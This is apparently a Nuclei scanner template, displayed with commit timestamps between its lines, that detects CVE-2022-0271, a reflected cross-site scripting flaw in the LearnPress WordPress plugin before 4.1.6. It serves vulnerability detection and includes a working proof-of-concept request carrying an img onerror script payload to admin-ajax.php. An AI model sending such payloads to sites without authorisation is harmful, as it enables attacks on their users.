2022-04-15 13:50:14 +00:00
id : CVE-2022-0271
info :
2022-09-10 01:55:52 +00:00
name : LearnPress <4.1.6 - Cross-Site Scripting
2022-04-15 13:50:14 +00:00
author : Akincibor
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
2022-04-15 14:43:56 +00:00
reference :
- https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2022-0271
2022-04-16 13:18:49 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0271
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2023-11-03 10:59:12 +00:00
epss-score : 0.00106
2023-11-11 17:44:56 +00:00
epss-percentile : 0.42988
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : thimpress
product : learnpress
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wp,wp-plugin,wordpress,cve,cve2022,learnpress,wpscan,xss
2022-04-15 13:50:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-15 13:50:14 +00:00
- method : GET
path :
2022-04-15 14:43:56 +00:00
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'
2022-04-15 13:50:14 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-04-15 14:43:56 +00:00
words :
- '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'
2022-04-15 13:50:14 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2022-04-15 13:50:14 +00:00
words :
- "text/html"
2022-04-15 14:43:56 +00:00
- type : status
status :
- 200
2023-11-11 17:50:28 +00:00
# digest: 490a004630440220742c2014660a57e221489768355a2183a6c2fb0129a8f74596bd36c539887fac02204a780b51a174f1b2402a5364b458c660b59a51475dcb3a5700f7fe02f61b4b63:922c64590222798bb761d5b6d8e72950